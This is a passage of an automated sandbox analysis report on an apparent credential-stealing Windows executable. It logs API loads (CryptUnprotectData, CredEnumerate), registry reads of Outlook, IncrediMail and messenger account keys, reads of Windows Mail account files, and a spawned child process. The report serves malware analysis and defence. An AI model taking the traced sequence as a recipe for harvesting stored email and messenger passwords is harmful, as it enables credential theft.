Module Load module_name = pstorec.dll, base_address = 0x66b10000 True 1
Fn
Module Get Address module_name = c:\windows\system32\pstorec.dll, function = PStoreCreateInstance, address_out = 0x66b1526c True 1
Fn
Module Load module_name = crypt32.dll, base_address = 0x75a90000 True 1
Fn
Module Get Address module_name = c:\windows\system32\crypt32.dll, function = CryptUnprotectData, address_out = 0x75ac5a7f True 1
Fn
System Get Computer Name result_out = F71GWAT True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Google\Google Desktop\Mailboxes False 1
Fn
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredReadA, address_out = 0x75cd71c1 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredFree, address_out = 0x75c9b2ec True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredDeleteA, address_out = 0x75cd7941 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateA, address_out = 0x75cd7381 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateW, address_out = 0x75cd7481 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Identities True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Identities True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Identities\{74A13782-B361-4204-9DAA-0A3D49DA4337} True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Identities\{74A13782-B361-4204-9DAA-0A3D49DA4337}, value_name = Username, data = Main Identity, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Identities\{74A13782-B361-4204-9DAA-0A3D49DA4337}\Software\Microsoft\Internet Account Manager\Accounts False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Identities\{74A13782-B361-4204-9DAA-0A3D49DA4337}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Identities False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\0413e2ad850e7146953cbb4c2672287e True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\0413e2ad850e7146953cbb4c2672287e False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\0a0d020000000000c000000000000046 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\0a0d020000000000c000000000000046 False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\1b5aad0cdb629e49a2c6203d4a6a948a True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\1b5aad0cdb629e49a2c6203d4a6a948a False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\1dab3177c2ac33448a4fe54b862a329e True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\1dab3177c2ac33448a4fe54b862a329e False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\2a7b899b94a04042a46a1cd96dc2a18c True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\2a7b899b94a04042a46a1cd96dc2a18c False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\3517490d76624c419a828607e2a54604 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\3517490d76624c419a828607e2a54604 False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\7a302ee0804dab4ba930ea4351b9b4ac True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\7a302ee0804dab4ba930ea4351b9b4ac False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\7df1ae4ad074c146bb02f647b97dd78e True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\7df1ae4ad074c146bb02f647b97dd78e False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\8503020000000000c000000000000046 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\8503020000000000c000000000000046 False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001, value_name = POP3 User, data = 112, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001, value_name = IMAP User, data = 112, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001, value_name = HTTP User, data = 112, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001, value_name = SMTP User, data = 112, type = REG_NONE False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 User, type = REG_BINARY True 1
Fn
Data
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 Server, type = REG_BINARY True 1
Fn
Data
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = Display Name, type = REG_BINARY True 1
Fn
Data
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = Email, type = REG_BINARY True 1
Fn
Data
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = SMTP Server, type = REG_BINARY True 1
Fn
Data
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = SMTP Port, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 Port, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 Use SPA, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 Password, data = 0, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = IMAP User, data = 103, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = HTTP User, data = 103, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = SMTP User, data = 103, type = REG_NONE False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003, value_name = POP3 User, data = 103, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003, value_name = IMAP User, data = 103, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003, value_name = HTTP User, data = 103, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003, value_name = SMTP User, data = 103, type = REG_NONE False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\fcc54e287a017c4094152f1c67fbc03d True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\fcc54e287a017c4094152f1c67fbc03d False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook False 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\IncrediMail\Identities False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\IncrediMail\Identities False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Group Mail False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\MessengerService False 1
Fn
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredReadA, address_out = 0x75cd71c1 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredFree, address_out = 0x75c9b2ec True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredDeleteA, address_out = 0x75cd7941 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateA, address_out = 0x75cd7381 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateW, address_out = 0x75cd7481 True 1
Fn
Module Load module_name = crypt32.dll, base_address = 0x75a90000 True 1
Fn
Module Get Address module_name = c:\windows\system32\crypt32.dll, function = CryptUnprotectData, address_out = 0x75ac5a7f True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Yahoo\Pager False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL False 1
Fn
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredReadA, address_out = 0x75cd71c1 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredFree, address_out = 0x75c9b2ec True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredDeleteA, address_out = 0x75cd7941 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateA, address_out = 0x75cd7381 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateW, address_out = 0x75cd7481 True 1
Fn
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{553187ED-CFB2-4763-8DAE-48D3609A76AC}.oeaccount, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{553187ED-CFB2-4763-8DAE-48D3609A76AC}.oeaccount, type = size True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{553187ED-CFB2-4763-8DAE-48D3609A76AC}.oeaccount, size = 1734, size_out = 1734 True 1
Fn
Data
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{91E541D8-6C9E-48C0-AB69-0A7168AA62DE}.oeaccount, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{91E541D8-6C9E-48C0-AB69-0A7168AA62DE}.oeaccount, type = size True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{91E541D8-6C9E-48C0-AB69-0A7168AA62DE}.oeaccount, size = 1506, size_out = 1506 True 1
Fn
Data
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{DD8DA3D5-48F0-4F18-846C-50E4200467F0}.oeaccount, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{DD8DA3D5-48F0-4F18-846C-50E4200467F0}.oeaccount, type = size True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows Mail\account{DD8DA3D5-48F0-4F18-846C-50E4200467F0}.oeaccount, size = 670, size_out = 670 True 1
Fn
Data
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail False 1
Fn
File Create filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_READ True 1
Fn
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 8 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 12 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 15 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 5 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 0 True 1
Fn
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 2 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 4 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 6 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 0 True 1
Fn
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 7 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 0 True 1
Fn
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 5 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 1 True 1
Fn
Data
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 0 True 1
Fn
File Write filename = C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp, size = 2 True 1
Fn
Data
Process #10: aeroroyale.exe
50 0
»
Information Value
ID #10
File Name c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe
Command Line "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" "C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp"
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:03:27, Reason: Child Process
Unmonitor End Time: 00:03:34, Reason: Self Terminated
Monitor Duration 00:00:07
OS Process Information
»
Information Value
PID 0xd48
Parent PID 0xc08 (c:\users\bgc6u8oy yxgxkr\appdata\local\microsoft\windows\aeroroyale.exe)
Is Created or Modified Executable True
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x D4C
0x D6C
0x D70
0x D74
0x D78
0x D7C
0x D80
0x D84
0x D88
0x D8C
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
private_0x0000000000020000 0x00020000 0x00020fff Private Memory rw True False False -
private_0x0000000000030000 0x00030000 0x0012ffff Private Memory rw True False False -
pagefile_0x0000000000130000 0x00130000 0x00133fff Pagefile Backed Memory r True False False -
locale.nls 0x00140000 0x001a6fff Memory Mapped File r False False False -
pagefile_0x00000000001b0000 0x001b0000 0x00277fff Pagefile Backed Memory r True False False -
private_0x0000000000280000 0x00280000 0x00280fff Private Memory rw True False False -
pagefile_0x0000000000290000 0x00290000 0x00291fff Pagefile Backed Memory r True False False -
private_0x00000000002a0000 0x002a0000 0x0039ffff Private Memory rw True False False -
private_0x00000000003a0000 0x003a0000 0x003a0fff Private Memory rw True False False -
private_0x00000000003b0000 0x003b0000 0x003b0fff Private Memory rw True False False -
windowsshell.manifest 0x003c0000 0x003c0fff Memory Mapped File r False False False -
pagefile_0x00000000003c0000 0x003c0000 0x003c1fff Pagefile Backed Memory r True False False -
pagefile_0x00000000003d0000 0x003d0000 0x003d1fff Pagefile Backed Memory r True False False -
private_0x00000000003e0000 0x003e0000 0x003e9fff Private Memory rwx True False False -
private_0x00000000003f0000 0x003f0000 0x003fffff Private Memory - True False False -
727.exe 0x00400000 0x00426fff Memory Mapped File rwx True False False -
pagefile_0x0000000000430000 0x00430000 0x00530fff Pagefile Backed Memory r True False False -
private_0x0000000000540000 0x00540000 0x0054ffff Private Memory rw True False False -
pagefile_0x0000000000550000 0x00550000 0x0114ffff Pagefile Backed Memory r True False False -
private_0x0000000001150000 0x01150000 0x0120ffff Private Memory rw True False False -
rpcss.dll 0x01150000 0x011abfff Memory Mapped File r False False False -
private_0x0000000001150000 0x01150000 0x011bffff Private Memory rw True False False -
pagefile_0x0000000001150000 0x01150000 0x01152fff Pagefile Backed Memory rw True False False -
tzres.dll 0x01150000 0x01150fff Memory Mapped File r False False False -
pagefile_0x0000000001150000 0x01150000 0x01150fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000001160000 0x01160000 0x01161fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000001160000 0x01160000 0x01166fff Pagefile Backed Memory r True False False -
private_0x0000000001170000 0x01170000 0x01170fff Private Memory rw True False False -
pagefile_0x0000000001170000 0x01170000 0x01171fff Pagefile Backed Memory rw True False False -
private_0x0000000001180000 0x01180000 0x011bffff Private Memory rw True False False -
pagefile_0x00000000011c0000 0x011c0000 0x011c0fff Pagefile Backed Memory rw True False False -
pagefile_0x00000000011d0000 0x011d0000 0x011d1fff Pagefile Backed Memory r True False False -
private_0x00000000011e0000 0x011e0000 0x011e0fff Private Memory rw True False False -
pagefile_0x00000000011f0000 0x011f0000 0x011f0fff Pagefile Backed Memory r True False False -
private_0x0000000001200000 0x01200000 0x0120ffff Private Memory rw True False False -
sortdefault.nls 0x01210000 0x014defff Memory Mapped File r False False False -
private_0x00000000014e0000 0x014e0000 0x016bffff Private Memory rw True False False -
pagefile_0x00000000014e0000 0x014e0000 0x015befff Pagefile Backed Memory r True False False -
private_0x00000000015c0000 0x015c0000 0x0163ffff Private Memory rw True False False -
pagefile_0x0000000001640000 0x01640000 0x01643fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000001650000 0x01650000 0x01650fff Pagefile Backed Memory r True False False -
pagefile_0x0000000001660000 0x01660000 0x01660fff Pagefile Backed Memory r True False False -
private_0x0000000001680000 0x01680000 0x016bffff Private Memory rw True False False -
private_0x00000000016c0000 0x016c0000 0x0189ffff Private Memory rw True False False -
private_0x00000000016c0000 0x016c0000 0x017bffff Private Memory rw True False False -
private_0x0000000001800000 0x01800000 0x0189ffff Private Memory rw True False False -
pagefile_0x00000000018a0000 0x018a0000 0x0209ffff Pagefile Backed Memory rw True False False -
pagefile_0x00000000018a0000 0x018a0000 0x01c92fff Pagefile Backed Memory r True False False -
private_0x00000000020a0000 0x020a0000 0x0219ffff Private Memory rw True False False -
private_0x00000000021a0000 0x021a0000 0x0229ffff Private Memory rw True False False -
private_0x00000000022a0000 0x022a0000 0x0239ffff Private Memory rw True False False -
pagefile_0x00000000023a0000 0x023a0000 0x02b9ffff Pagefile Backed Memory rw True False False -
private_0x0000000002ba0000 0x02ba0000 0x02ca0fff Private Memory rw True False False -
private_0x0000000002ba0000 0x02ba0000 0x02c9ffff Private Memory rw True False False -
private_0x0000000002ca0000 0x02ca0000 0x02d9ffff Private Memory rw True False False -
private_0x0000000002da0000 0x02da0000 0x02e9ffff Private Memory rw True False False -
private_0x0000000002ea0000 0x02ea0000 0x0307ffff Private Memory rw True False False -
private_0x0000000002ea0000 0x02ea0000 0x02f9ffff Private Memory rw True False False -
private_0x0000000003070000 0x03070000 0x0307ffff Private Memory rw True False False -
private_0x0000000003080000 0x03080000 0x031fffff Private Memory rw True False False -
pagefile_0x0000000003080000 0x03080000 0x0317ffff Pagefile Backed Memory rw True False False -
private_0x00000000031f0000 0x031f0000 0x031fffff Private Memory rw True False False -
pagefile_0x0000000003200000 0x03200000 0x039fffff Pagefile Backed Memory rw True False False -
private_0x0000000004c00000 0x04c00000 0x04cfffff Private Memory rw True False False -
private_0x0000000004d00000 0x04d00000 0x04dfffff Private Memory rw True False False -
private_0x0000000037170000 0x37170000 0x3717ffff Private Memory rwx True False False -
mspst32.dll 0x632e0000 0x63477fff Memory Mapped File rwx False False False -
